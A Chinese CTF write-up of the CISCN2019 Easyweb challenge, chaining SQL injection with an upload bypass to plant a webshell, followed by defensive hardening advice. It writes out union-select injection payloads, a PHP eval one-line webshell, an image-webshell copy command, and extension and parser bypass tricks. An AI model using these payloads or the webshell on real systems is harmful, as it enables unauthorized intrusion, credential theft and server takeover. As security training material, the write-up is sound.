
1. 项目概述一次经典的组合拳攻击复盘几年前打CTF的时候遇到过一个让我印象非常深刻的题目就是CISCN2019的Easyweb。这个题目本身难度不算顶级但它非常典型地展示了一种在真实渗透测试中极为有效的攻击思路将SQL注入漏洞与文件上传漏洞进行组合利用。很多新手在单独学习SQL注入或者文件上传时往往觉得理解了原理但一到综合场景就无从下手。Easyweb这个靶场恰恰完美地串联了这两个知识点它模拟了一个存在漏洞的Web应用你需要先通过SQL注入获取后台管理员凭证再利用后台的文件上传功能上传Webshell最终拿到服务器权限。整个过程环环相扣缺一不可就像玩一个精妙的解谜游戏。今天我就以这个经典案例为蓝本带大家从头到尾拆解一遍这种组合攻击的完整链条不仅讲操作更重点剖析背后的逻辑和那些容易踩坑的细节。无论你是正在入门Web安全的新手还是想巩固渗透测试思路的老手相信这篇详细的复盘都能给你带来一些启发。2. 靶场环境与核心漏洞点分析2.1 靶场场景与功能初探首先我们需要明确攻击目标——Easyweb靶场模拟的是一个简单的网站。通常这类网站会包含用户登录、文章浏览、后台管理等模块。我们的攻击起点往往是最常见的用户交互点登录框。很多存在SQL注入的站点其登录验证逻辑是对用户输入的用户名和密码直接拼接进SQL语句进行查询。如果查询结果不为空就认为登录成功。这就是所谓的“万能密码”或登录绕过型SQL注入的根源。在Easyweb中经过初步测试比如在用户名输入一个单引号‘我们很容易发现登录功能存在报错这强烈暗示了存在SQL注入漏洞。但这里有一个关键仅仅证明存在注入点还不够我们需要明确注入的类型、可获取的数据以及后续的利用路径。这个靶场的巧妙之处在于它通过SQL注入我们能获取到的不是普通用户数据而是后台管理员的账号和密码。这就为第二步——进入后台——铺平了道路。2.2 漏洞链逻辑拆解为什么是“组合拳”单独一个SQL注入可能只能导致数据泄露单独一个文件上传漏洞可能因为权限不足而无法利用。但当两者结合就产生了“112”的效果。Easyweb构建的漏洞链逻辑非常清晰前端突破口SQL注入位于网站前台的登录功能存在字符型SQL注入。攻击者利用此漏洞可以绕过登录验证或者更常见的是通过联合查询Union Select从数据库中“拖”出后台管理员的口令可能是明文也可能是MD5哈希值。权限提升跳板后台入口获取到的管理员账号密码用于登录网站的后台管理系统。后台通常位于类似/admin、/manage这样的路径下。最终攻击达成文件上传后台管理功能中往往提供文件上传接口例如“上传头像”、“发布文章附件”、“网站主题上传”等。这些功能本意是方便管理员但如果对上传文件的类型、内容检查不严就会成为攻击者上传Webshell如一句话木马的绝佳通道。权限获取成功上传Webshell后攻击者通过浏览器访问这个文件的URL就可以在服务器上执行任意命令从而完全控制网站服务器。这个链条揭示了渗透测试中的一个核心思想攻击是一个循序渐进的过程需要利用多个漏洞点一步步扩大战果最终达成目标。Easyweb就是一个训练这种思维的绝佳模型。3. 第一阶段SQL注入漏洞的深度利用3.1 注入点探测与类型判断面对登录框我们首先进行基础的探测。在用户名处输入admin‘。如果页面返回了数据库错误信息如MySQL的语法错误这基本确认了存在SQL注入并且很可能是字符型注入因为单引号用于闭合SQL语句中的字符串值。接下来我们需要判断注入的具体类型和可用的攻击方式。使用经典的逻辑测试Payloadadmin‘ and 11 --如果登录成功或页面正常。admin‘ and 12 --如果登录失败或页面异常。如果两者返回结果不同则证实了这是一个可用的布尔型注入点。--是SQL注释符用于注释掉原SQL语句中后面的部分特别是密码验证部分这对于登录绕过至关重要。注意在实际测试中注释符后一定要加一个空格--在URL中则是--或%20。很多新手在这里栽跟头因为缺少空格会导致注释符失效。3.2 联合查询获取管理员凭证对于Easyweb这类靶场登录绕过可能不是最终目的我们的目标是获取存储在数据库中的后台管理员账号和密码。这时联合查询UNION SELECT就成了最直接的武器。使用UNION的前提是我们需要知道当前查询语句返回的列数。步骤一判断字段数使用ORDER BY子句进行判断。在用户名处输入admin‘ order by 1 --admin‘ order by 2 --... 依次增加数字直到页面返回错误。假设order by 3时报错order by 2正常则说明原查询语句返回2列。步骤二确认回显点知道了字段数我们就可以构造UNION SELECT语句并确认哪一列的内容会显示在页面上。输入Payloadadmin‘ union select 1,2 --观察页面看原本显示用户名或其他信息的地方是否被数字“1”或“2”所替代。假设数字“2”的位置在页面上显示了出来那么第二列就是一个可用的回显点。步骤三获取数据库关键信息接下来我们利用回显点逐步获取信息。将回显点的数字替换为我们想查询的数据库函数。查询当前数据库名admin‘ union select 1, database() --页面回显位置可能会显示数据库名例如easyweb。查询数据库中的表名admin‘ union select 1, group_concat(table_name) from information_schema.tables where table_schemadatabase() --这里用到了MySQL的系统数据库information_schema。group_concat()函数将所有的表名合并成一个字符串返回。我们可能会看到类似admin, news, users这样的结果。其中admin表极有可能存放着后台账号。查询目标表admin的字段名admin‘ union select 1, group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name‘admin‘ --这里需要注意表名‘admin‘需要用单引号括起来。查询结果可能为id,username,password。最终拖取管理员账号密码admin‘ union select 1, concat(username, ‘:‘, password) from admin --或者分别查询admin‘ union select username, password from admin --假设我们得到的结果是admin:5f4dcc3b5aa765d61d8327deb882cf99。很明显5f4d...是字符串password的MD5哈希值。实操心得在真实场景或一些较新的靶场中information_schema数据库可能被禁止访问或者表名、字段名使用了非常规名称。此时需要结合报错信息、盲注或者根据常见命名如t_admin,m_user,passwd,pwd等进行猜测和尝试。3.3 密码破解与后台登录拿到MD5哈希密码后我们需要将其还原为明文才能登录。对于5f4dcc3b5aa765d61d8327deb882cf99这种简单的弱口令直接使用在线MD5解密网站如cmd5.com或本地彩虹表即可瞬间破解得到明文password。现在我们拥有了后台账号(admin)和密码(password)。下一步就是寻找后台登录入口。常见的后台路径有/admin/admin/login.php/manage/wp-admin(WordPress)/admin/index.php使用目录扫描工具如Dirsearch、御剑可以快速发现这些隐藏路径。找到入口后使用获取到的凭证登录即可成功进入网站后台管理界面。4. 第二阶段文件上传漏洞的绕过与利用4.1 寻找上传点与初步测试进入后台后我们需要仔细浏览每一个功能模块寻找任何可以上传文件的地方。常见的位置包括个人资料设置 - 修改头像内容管理 - 发布文章 - 上传附件/图片系统设置 - 网站Logo/横幅上传插件/主题管理 - 本地安装找到上传点后不要急于上传Webshell。首先上传一个正常的图片文件如test.jpg确认功能可用并记录下文件上传后的访问路径。例如文件可能被保存到/uploads/20240515/test.jpg。4.2 常见防护机制与绕过技巧后台文件上传功能通常会有一些基础的防护Easyweb靶场也模拟了这些情况。我们需要逐一测试并绕过。1. 客户端JavaScript校验前端校验这是最简单的防护。当你选择了一个.php文件点击上传前页面就弹出提示“只允许上传jpg/png/gif格式”。这种校验完全在浏览器端进行。绕过方法禁用浏览器JavaScript最简单直接。Burp Suite拦截修改先上传一个test.jpg用Burp Suite拦截HTTP请求包然后将文件名test.jpg直接修改为shell.php内容替换为Webshell代码再放行。直接修改前端HTML在文件选择框的HTML代码中删除或修改accept“.jpg,.png”这类属性。2. 服务端MIME类型校验服务器检查HTTP请求头中的Content-Type字段。上传图片时该字段通常是image/jpeg或image/png。绕过方法使用Burp Suite拦截上传请求将Content-Type修改为image/jpeg即使你上传的是一个.php文件。3. 服务端文件扩展名后缀黑名单/白名单校验这是最关键、也最常遇到的防护。黑名单禁止上传.php,.asp,.jsp等脚本后缀。但名单可能不全。绕过方法尝试其他可执行后缀如.php5,.phtml,.phps,.php7(取决于服务器解析配置)对于Apache服务器.php.末尾有点或.php末尾有空格在某些情况下也可能被绕过。还可以尝试.htaccess文件攻击如果允许上传。白名单只允许上传.jpg,.png,.gif。这种防护更严格。绕过方法双写/嵌套扩展名shell.php.jpg。如果校验逻辑不严谨可能只检查最后一个后缀.jpg就放行但服务器在解析时可能以第一个后缀.php为准取决于服务器配置如Apache的mod_mime。路径拼接/截断旧漏洞利用%00空字节截断如shell.php%00.jpg在某些老版本PHP中%00后的内容会被忽略。但PHP 5.3.4以后已修复。图片马结合解析漏洞这是最常用且有效的绕过白名单方法。4.3 制作与上传图片Webshell图片马由于白名单只允许图片格式我们需要将Webshell代码嵌入到一个真实的图片文件中。制作方法准备一张正常图片normal.jpg和一个Webshell脚本shell.php内容为?php eval($_POST[‘cmd‘]);?。在命令行Windows/Linux均可使用copy命令进行拼接copy normal.jpg /b shell.php /a webshell.jpg这个命令将图片的二进制数据与PHP脚本的ASCII数据合并生成一个新文件webshell.jpg。用图片查看器打开它仍然显示正常图片但用文本编辑器打开末尾可以看到插入的PHP代码。上传与解析漏洞利用将webshell.jpg上传到服务器。假设上传后的路径是/uploads/webshell.jpg。直接访问这个路径服务器会把它当作图片处理不会执行PHP代码。 这时我们需要寻找服务器解析漏洞。一些常见的解析漏洞包括Apache解析漏洞Apache在解析文件时如果遇到不认识的后缀会从右向左依次尝试。例如文件名为webshell.php.xxx.xxxApache不认识它会尝试.php从而以PHP执行。但在严格的白名单下我们可能无法上传这样的文件名。IIS 6.0解析漏洞/upload/webshell.jpg/xxx.phpIIS6.0会将/xxx.php当作参数但整个路径仍被解析为PHP执行。webshell.jpg;.jpg也会被当作PHP执行。Nginx解析漏洞旧版本如果配置不当Nginx在遇到类似/uploads/webshell.jpg/xxx.php的路径时可能会将请求传递给PHP-FPM而PHP-FPM错误地执行了webshell.jpg。在Easyweb这类靶场中更常见的设定是服务器对文件内容进行了二次检查或者存在“文件包含”漏洞。但更普遍的情况是后台存在“文件重命名”或“文件处理”逻辑缺陷。例如上传后系统为了“安全”会给文件重命名但重命名规则可能只是添加前缀而不改变后缀。或者存在另一处功能如“修改文件”可以修改已上传文件的后缀。实操流程上传图片马webshell.jpg成功。记录文件返回的存储路径和名称例如/static/upload/20240515_abcdefg.jpg。尝试直接访问确认是图片。在后台寻找“文件管理”、“媒体库”或“编辑”功能看能否修改此文件的后缀为.php。如果不行则考虑结合下一步的“文件包含”或其它漏洞。注意事项制作图片马时务必确保图片本身是有效的否则一些严格的校验会检测图片文件头如FF D8 FF E0for JPEG而拒绝上传。使用copy命令或cat命令拼接是可靠的方法。也可以使用工具如ExifTool但要注意工具可能会清理文件注释导致插入的代码被删除。5. 组合利用实战从注入到GetShell的完整链条现在我们把两个阶段串联起来模拟一次完整的攻击。步骤1信息收集与注入访问目标网站http://target.com/。发现登录页面/login.php。使用admin‘ and 11 --和admin‘ and 12 --确认存在字符型SQL注入。使用order by判断字段数为2。使用union select 1,2确认回显点在第二列。构造Payload获取管理员密码哈希admin‘ union select 1, concat(username, ‘-‘, password) from admin --得到结果admin-5f4dcc3b5aa765d61d8327deb882cf99解密MD5得到password。步骤2后台发现与登录使用目录扫描工具发现后台地址http://target.com/admin/。使用账号admin密码password登录成功。步骤3上传点寻找与绕过在后台“主题管理”或“插件安装”页面发现“本地上传”功能。尝试上传shell.php前端提示“仅支持.zip格式”。这是一个变种上传的是压缩包。制作一个包含图片马shell.jpg内含Webshell代码的ZIP压缩包theme.zip。上传theme.zip系统提示“上传成功正在解压...”。访问解压后的目录例如http://target.com/admin/temp/theme/shell.jpg发现文件存在但无法执行。步骤4最终漏洞利用观察发现后台还有一个“模板编辑”功能可以编辑/admin/temp/目录下的文件。通过“模板编辑”找到shell.jpg将其重命名为shell.php。或者发现网站存在文件包含漏洞URL参数如?page../admin/temp/theme/shell.jpg通过该漏洞包含图片马使得其中的PHP代码被执行。最终通过中国菜刀、蚁剑等Webshell管理工具连接http://target.com/admin/temp/theme/shell.php密码为cmd成功获取服务器权限。这个流程清晰地展示了如何将两个中低危的漏洞一个导致信息泄露的SQL注入一个受限的文件上传串联起来形成一条从外网到获取服务器控制权的高危攻击链。6. 防御方案与安全开发建议作为开发者如何避免自己的网站成为下一个“Easyweb”呢需要从多个层面进行防御。针对SQL注入使用参数化查询预编译语句这是根本解决方案。无论是PHP的PDO、Python的SQLAlchemy还是Java的PreparedStatement都应强制使用。它确保用户输入的数据始终被当作数据处理而非SQL代码的一部分。对输入进行严格的过滤和转义如果因历史原因无法使用参数化查询必须对用户输入进行过滤。但要注意黑名单过滤过滤‘,“,--等很容易被绕过。白名单过滤只允许特定字符更安全但需结合业务。最小权限原则数据库连接账户不应使用root或sa等高权限账号应为其分配仅能满足应用需求的最小权限。例如查询操作只给SELECT权限。错误信息处理禁止将详细的数据库错误信息直接返回给前端用户应使用统一的、模糊的错误提示页面避免给攻击者提供信息。针对文件上传漏洞白名单校验不仅校验文件扩展名更要校验文件的MIME类型从文件内容读取而非信任HTTP头并且两者都要采用白名单机制如只允许image/jpeg,image/png对应.jpg,.png。文件内容校验使用getimagesize()等函数检查上传文件是否真的是有效的图片文件破坏图片马的执行。重命名与隔离对上传的文件进行强制重命名如使用随机字符串时间戳避免用户控制文件名。将上传目录设置为不可执行脚本通过配置Web服务器禁止该目录解析PHP等脚本。限制上传目录的访问权限确保上传目录的权限设置正确仅允许Web服务器读写不允许执行。使用云存储或独立文件服务器将用户上传的文件存储到独立的文件服务器或对象存储如OSS、COS并通过单独的域名访问彻底隔离Web应用和用户文件。整体架构安全前后端分离与权限校验后台管理接口应具备严格的会话管理和权限校验即使攻击者通过其他途径获取了后台地址没有有效的登录态也无法访问。WAFWeb应用防火墙部署WAF可以帮助拦截常见的SQL注入、文件上传攻击Payload为应用提供一层额外的防护。定期安全审计与渗透测试对代码进行安全审计并定期进行渗透测试主动发现潜在的安全隐患。7. 拓展思考与高阶利用场景Easyweb展示的是最基础的组合利用。在更复杂的真实环境中这种组合可以衍生出更多变化。场景一SQL注入获取上传路径或密钥有时我们通过SQL注入不一定直接拿到密码而是拿到了其他关键信息。例如注入点可能泄露了文件上传的绝对路径如/var/www/html/uploads/这对于后续构造Webshell访问路径或进行目录遍历攻击至关重要。加密密钥或配置文件内容这些信息可能用于解密数据库中的密码或伪造登录会话Session。其他用户的敏感信息用于进行“撞库”攻击或社会工程学攻击。场景二文件上传结合其他漏洞文件上传成功只是第一步执行可能需要其他漏洞配合文件包含漏洞LFI/RFI这是图片马的“最佳搭档”。通过本地文件包含LFI漏洞包含上传的图片马服务器会将其作为PHP脚本解析执行。解析漏洞如前文提到的Apache、IIS、Nginx的历史解析漏洞可以让一张图片被当作脚本执行。.htaccess文件攻击如果服务器允许上传.htaccess文件攻击者可以编写规则强制将特定扩展名如.jpg的文件当作PHP解析。竞争条件攻击有些系统会对上传的文件进行安全扫描如杀毒扫描通过后才移动到可访问目录。攻击者可以利用扫描和移动之间的极短时间差快速访问并执行恶意文件。场景三二次注入与逻辑漏洞结合SQL注入不一定发生在登录框。它可能发生在用户注册、资料修改、订单查询等任何与数据库交互的地方。通过精心构造攻击者可能将恶意Payload存入数据库如用户昵称、地址字段当后台管理员在查看这些数据时触发“二次注入”。如果再结合后台的某些功能如“导出数据为CSV”、“生成报表”可能造成更严重的后果。复盘CISCN2019 Easyweb其价值远不止于解出一道CTF题目。它像一本生动的教科书清晰地勾勒出一条典型的Web渗透路径。从外网的一个输入点切入利用SQL注入这把“钥匙”打开第一道门获取进入内院后台的凭证再利用内院中管理疏忽留下的“传送门”文件上传最终将整个堡垒的控制权握在手中。对于防守方而言它警示我们安全是一个整体任何一个环节的短板都可能导致全盘皆输。对于攻击方白帽子而言它训练的是将零散知识点串联成攻击链的思维。在实际的渗透测试工作中这种多漏洞组合利用的思路几乎无处不在。因此深入理解并掌握这种“组合拳”是每一个Web安全从业者从入门到精通的必经之路。在后续的学习中可以尝试在更复杂的靶场如DVWA、Pikachu的高等级关卡中主动寻找和构造这样的漏洞链你的实战能力会得到质的提升。